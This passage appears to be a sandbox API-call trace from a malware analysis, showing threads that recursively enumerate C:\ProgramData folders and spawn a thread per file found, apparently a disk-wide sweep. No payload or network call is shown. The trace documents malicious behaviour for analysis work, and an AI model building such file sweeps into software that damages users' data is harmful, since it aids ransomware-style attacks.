	[0073.901] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x53fba98c, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.901] wcscmp (_String1="..", _String2=".") returned 1
	[0073.901] wcscmp (_String1="..", _String2="..") returned 0
	[0073.901] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1446700, ftCreationTime.dwHighDateTime=0x1d0d7c7, ftLastAccessTime.dwLowDateTime=0x4af5600b, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf1446700, ftLastWriteTime.dwHighDateTime=0x1d0d7c7, nFileSizeHigh=0x0, nFileSizeLow=0x430, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag", cAlternateFileName="REGID1~3.SWI")) returned 1
	[0073.901] wcscmp (_String1="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag", _String2=".") returned 1
	[0073.901] wcscmp (_String1="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag", _String2="..") returned 1
	[0073.901] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x2d867b8
	[0073.901] wcscpy (in: _Dest=0x2d867b8, _Source="C:\\ProgramData\\regid.1991-06.com.microsoft" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft") returned="C:\\ProgramData\\regid.1991-06.com.microsoft"
	[0073.901] wcscat (in: _Dest=0x2d867b8, _Source="\\" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft\\") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\"
	[0073.901] wcscat (in: _Dest=0x2d867b8, _Source="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag"
	[0073.901] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d867b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ac
	[0073.902] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbfefc00, ftCreationTime.dwHighDateTime=0x1d0d7c7, ftLastAccessTime.dwLowDateTime=0xda9f4a95, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbfefc00, ftLastWriteTime.dwHighDateTime=0x1d0d7c7, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag", cAlternateFileName="REGID1~2.SWI")) returned 1
	[0073.902] wcscmp (_String1="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag", _String2=".") returned 1
	[0073.902] wcscmp (_String1="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag", _String2="..") returned 1
	[0073.902] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4790de8
	[0073.902] wcscpy (in: _Dest=0x4790de8, _Source="C:\\ProgramData\\regid.1991-06.com.microsoft" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft") returned="C:\\ProgramData\\regid.1991-06.com.microsoft"
	[0073.902] wcscat (in: _Dest=0x4790de8, _Source="\\" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft\\") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\"
	[0073.902] wcscat (in: _Dest=0x4790de8, _Source="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag"
	[0073.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4790de8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b0
	[0073.903] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1446700, ftCreationTime.dwHighDateTime=0x1d0d7c7, ftLastAccessTime.dwLowDateTime=0x53fba98c, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf1446700, ftLastWriteTime.dwHighDateTime=0x1d0d7c7, nFileSizeHigh=0x0, nFileSizeLow=0x42f, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag", cAlternateFileName="REGID1~4.SWI")) returned 1
	[0073.903] wcscmp (_String1="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag", _String2=".") returned 1
	[0073.903] wcscmp (_String1="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag", _String2="..") returned 1
	[0073.903] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x2d89148
	[0073.903] wcscpy (in: _Dest=0x2d89148, _Source="C:\\ProgramData\\regid.1991-06.com.microsoft" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft") returned="C:\\ProgramData\\regid.1991-06.com.microsoft"
	[0073.903] wcscat (in: _Dest=0x2d89148, _Source="\\" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft\\") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\"
	[0073.903] wcscat (in: _Dest=0x2d89148, _Source="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag"
	[0073.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d89148, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b4
	[0073.904] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7be169cf, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x6f2e8f23, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6f2e8f23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x3e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft_Windows-10-Pro.swidtag", cAlternateFileName="REGID1~1.SWI")) returned 1
	[0073.904] wcscmp (_String1="regid.1991-06.com.microsoft_Windows-10-Pro.swidtag", _String2=".") returned 1
	[0073.904] wcscmp (_String1="regid.1991-06.com.microsoft_Windows-10-Pro.swidtag", _String2="..") returned 1
	[0073.904] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4790ee8
	[0073.904] wcscpy (in: _Dest=0x4790ee8, _Source="C:\\ProgramData\\regid.1991-06.com.microsoft" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft") returned="C:\\ProgramData\\regid.1991-06.com.microsoft"
	[0073.904] wcscat (in: _Dest=0x4790ee8, _Source="\\" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft\\") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\"
	[0073.904] wcscat (in: _Dest=0x4790ee8, _Source="regid.1991-06.com.microsoft_Windows-10-Pro.swidtag" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag"
	[0073.904] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4790ee8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b8
	[0073.905] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7be169cf, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x6f2e8f23, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6f2e8f23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x3e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft_Windows-10-Pro.swidtag", cAlternateFileName="REGID1~1.SWI")) returned 0
	[0073.905] FindClose (in: hFindFile=0x2d70a80 | out: hFindFile=0x2d70a80) returned 1
	[0073.905] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86350) returned 1
	[0073.905] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47339a0) returned 1
	[0073.905] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77540) returned 1

Thread:
	id = 114
	os_tid = 0xe14

	[0073.900] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2d85970
	[0073.900] wcscpy (in: _Dest=0x2d85970, _Source="C:\\ProgramData\\SoftwareDistribution" | out: _Dest="C:\\ProgramData\\SoftwareDistribution") returned="C:\\ProgramData\\SoftwareDistribution"
	[0073.900] wcscat (in: _Dest=0x2d85970, _Source="\\" | out: _Dest="C:\\ProgramData\\SoftwareDistribution\\") returned="C:\\ProgramData\\SoftwareDistribution\\"
	[0073.900] wcscat (in: _Dest=0x2d85970, _Source="*" | out: _Dest="C:\\ProgramData\\SoftwareDistribution\\*") returned="C:\\ProgramData\\SoftwareDistribution\\*"
	[0073.900] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d88ef0
	[0073.900] FindFirstFileW (in: lpFileName="C:\\ProgramData\\SoftwareDistribution\\*", lpFindFileData=0x2d88ef0 | out: lpFindFileData=0x2d88ef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70a80
	[0073.906] wcscmp (_String1=".", _String2=".") returned 0
	[0073.907] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d88ef0 | out: lpFindFileData=0x2d88ef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.907] wcscmp (_String1="..", _String2=".") returned 1
	[0073.907] wcscmp (_String1="..", _String2="..") returned 0
	[0073.907] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d88ef0 | out: lpFindFileData=0x2d88ef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0073.907] FindClose (in: hFindFile=0x2d70a80 | out: hFindFile=0x2d70a80) returned 1
	[0073.907] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88ef0) returned 1
	[0073.907] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85970) returned 1
	[0073.907] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730f60) returned 1

Thread:
	id = 115
	os_tid = 0xc70

	[0073.908] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x38) returned 0x2d70900
	[0073.908] wcscpy (in: _Dest=0x2d70900, _Source="C:\\ProgramData\\Start Menu" | out: _Dest="C:\\ProgramData\\Start Menu") returned="C:\\ProgramData\\Start Menu"
	[0073.908] wcscat (in: _Dest=0x2d70900, _Source="\\" | out: _Dest="C:\\ProgramData\\Start Menu\\") returned="C:\\ProgramData\\Start Menu\\"
	[0073.908] wcscat (in: _Dest=0x2d70900, _Source="*" | out: _Dest="C:\\ProgramData\\Start Menu\\*") returned="C:\\ProgramData\\Start Menu\\*"
	[0073.908] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d89460
	[0073.908] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Start Menu\\*", lpFindFileData=0x2d89460 | out: lpFindFileData=0x2d89460*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0073.908] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0073.908] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70900) returned 1
	[0073.908] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70740) returned 1

Thread:
	id = 116
	os_tid = 0xab0

	[0073.909] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d70900
	[0073.909] wcscpy (in: _Dest=0x2d70900, _Source="C:\\ProgramData\\Templates" | out: _Dest="C:\\ProgramData\\Templates") returned="C:\\ProgramData\\Templates"
	[0073.909] wcscat (in: _Dest=0x2d70900, _Source="\\" | out: _Dest="C:\\ProgramData\\Templates\\") returned="C:\\ProgramData\\Templates\\"
	[0073.909] wcscat (in: _Dest=0x2d70900, _Source="*" | out: _Dest="C:\\ProgramData\\Templates\\*") returned="C:\\ProgramData\\Templates\\*"
	[0073.909] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d89460
	[0073.909] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Templates\\*", lpFindFileData=0x2d89460 | out: lpFindFileData=0x2d89460*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0073.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0073.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70900) returned 1
	[0073.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d709c0) returned 1

Thread:
	id = 117
	os_tid = 0xa70

	[0073.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x38) returned 0x2d70900
	[0073.910] wcscpy (in: _Dest=0x2d70900, _Source="C:\\ProgramData\\USOPrivate" | out: _Dest="C:\\ProgramData\\USOPrivate") returned="C:\\ProgramData\\USOPrivate"
	[0073.911] wcscat (in: _Dest=0x2d70900, _Source="\\" | out: _Dest="C:\\ProgramData\\USOPrivate\\") returned="C:\\ProgramData\\USOPrivate\\"
	[0073.911] wcscat (in: _Dest=0x2d70900, _Source="*" | out: _Dest="C:\\ProgramData\\USOPrivate\\*") returned="C:\\ProgramData\\USOPrivate\\*"
	[0073.911] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d89460
	[0073.911] FindFirstFileW (in: lpFileName="C:\\ProgramData\\USOPrivate\\*", lpFindFileData=0x2d89460 | out: lpFindFileData=0x2d89460*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1931975, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70a80
	[0073.911] wcscmp (_String1=".", _String2=".") returned 0
	[0073.911] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d89460 | out: lpFindFileData=0x2d89460*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1931975, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.911] wcscmp (_String1="..", _String2=".") returned 1
	[0073.911] wcscmp (_String1="..", _String2="..") returned 0
	[0073.911] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d89460 | out: lpFindFileData=0x2d89460*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1931975, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8ba8af75, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x8ba8af75, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateStore", cAlternateFileName="UPDATE~1")) returned 1
	[0073.911] wcscmp (_String1="UpdateStore", _String2=".") returned 1
	[0073.911] wcscmp (_String1="UpdateStore", _String2="..") returned 1
	[0073.911] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2d85760
	[0073.911] wcscpy (in: _Dest=0x2d85760, _Source="C:\\ProgramData\\USOPrivate" | out: _Dest="C:\\ProgramData\\USOPrivate") returned="C:\\ProgramData\\USOPrivate"
	[0073.911] wcscat (in: _Dest=0x2d85760, _Source="\\" | out: _Dest="C:\\ProgramData\\USOPrivate\\") returned="C:\\ProgramData\\USOPrivate\\"
	[0073.911] wcscat (in: _Dest=0x2d85760, _Source="UpdateStore" | out: _Dest="C:\\ProgramData\\USOPrivate\\UpdateStore") returned="C:\\ProgramData\\USOPrivate\\UpdateStore"
	[0073.911] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d85760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7bc
	[0073.912] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d89460 | out: lpFindFileData=0x2d89460*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1931975, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8ba8af75, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x8ba8af75, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateStore", cAlternateFileName="UPDATE~1")) returned 0
	[0073.912] FindClose (in: hFindFile=0x2d70a80 | out: hFindFile=0x2d70a80) returned 1
	[0073.912] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0073.912] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70900) returned 1
	[0073.912] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70d00) returned 1

Thread:
	id = 118
	os_tid = 0x19c

	[0073.913] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d70900
	[0073.913] wcscpy (in: _Dest=0x2d70900, _Source="C:\\ProgramData\\USOShared" | out: _Dest="C:\\ProgramData\\USOShared") returned="C:\\ProgramData\\USOShared"
	[0073.913] wcscat (in: _Dest=0x2d70900, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\") returned="C:\\ProgramData\\USOShared\\"
	[0073.913] wcscat (in: _Dest=0x2d70900, _Source="*" | out: _Dest="C:\\ProgramData\\USOShared\\*") returned="C:\\ProgramData\\USOShared\\*"
	[0073.913] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d89460
	[0073.913] FindFirstFileW (in: lpFileName="C:\\ProgramData\\USOShared\\*", lpFindFileData=0x2d89460 | out: lpFindFileData=0x2d89460*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ade3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70a80
	[0073.913] wcscmp (_String1=".", _String2=".") returned 0
	[0073.913] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d89460 | out: lpFindFileData=0x2d89460*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ade3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.913] wcscmp (_String1="..", _String2=".") returned 1
	[0073.913] wcscmp (_String1="..", _String2="..") returned 0
	[0073.913] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d89460 | out: lpFindFileData=0x2d89460*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x84bfee93, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x84bfee93, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1
	[0073.913] wcscmp (_String1="Logs", _String2=".") returned 1
	[0073.913] wcscmp (_String1="Logs", _String2="..") returned 1
	[0073.913] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3c) returned 0x2d73108
	[0073.913] wcscpy (in: _Dest=0x2d73108, _Source="C:\\ProgramData\\USOShared" | out: _Dest="C:\\ProgramData\\USOShared") returned="C:\\ProgramData\\USOShared"
	[0073.914] wcscat (in: _Dest=0x2d73108, _Source="\\" | out: _Dest="C:\\ProgramData\\USOShared\\") returned="C:\\ProgramData\\USOShared\\"
	[0073.914] wcscat (in: _Dest=0x2d73108, _Source="Logs" | out: _Dest="C:\\ProgramData\\USOShared\\Logs") returned="C:\\ProgramData\\USOShared\\Logs"
	[0073.914] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d73108, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c0
	[0073.914] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d89460 | out: lpFindFileData=0x2d89460*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x84bfee93, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x84bfee93, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 0
	[0073.914] FindClose (in: hFindFile=0x2d70a80 | out: hFindFile=0x2d70a80) returned 1
	[0073.914] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0073.914] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70900) returned 1
	[0073.914] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d707c0) returned 1

Thread:
	id = 119
	os_tid = 0x25c

	[0073.915] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x56) returned 0x2d777e0
	[0073.915] wcscpy (in: _Dest=0x2d777e0, _Source="C:\\ProgramData\\WindowsHolographicDevices" | out: _Dest="C:\\ProgramData\\WindowsHolographicDevices") returned="C:\\ProgramData\\WindowsHolographicDevices"
	[0073.915] wcscat (in: _Dest=0x2d777e0, _Source="\\" | out: _Dest="C:\\ProgramData\\WindowsHolographicDevices\\") returned="C:\\ProgramData\\WindowsHolographicDevices\\"
	[0073.915] wcscat (in: _Dest=0x2d777e0, _Source="*" | out: _Dest="C:\\ProgramData\\WindowsHolographicDevices\\*") returned="C:\\ProgramData\\WindowsHolographicDevices\\*"
	[0073.915] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d89460
	[0073.915] FindFirstFileW (in: lpFileName="C:\\ProgramData\\WindowsHolographicDevices\\*", lpFindFileData=0x2d89460 | out: lpFindFileData=0x2d89460*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70a80
	[0073.916] wcscmp (_String1=".", _String2=".") returned 0
	[0073.916] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d89460 | out: lpFindFileData=0x2d89460*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.916] wcscmp (_String1="..", _String2=".") returned 1
	[0073.917] wcscmp (_String1="..", _String2="..") returned 0
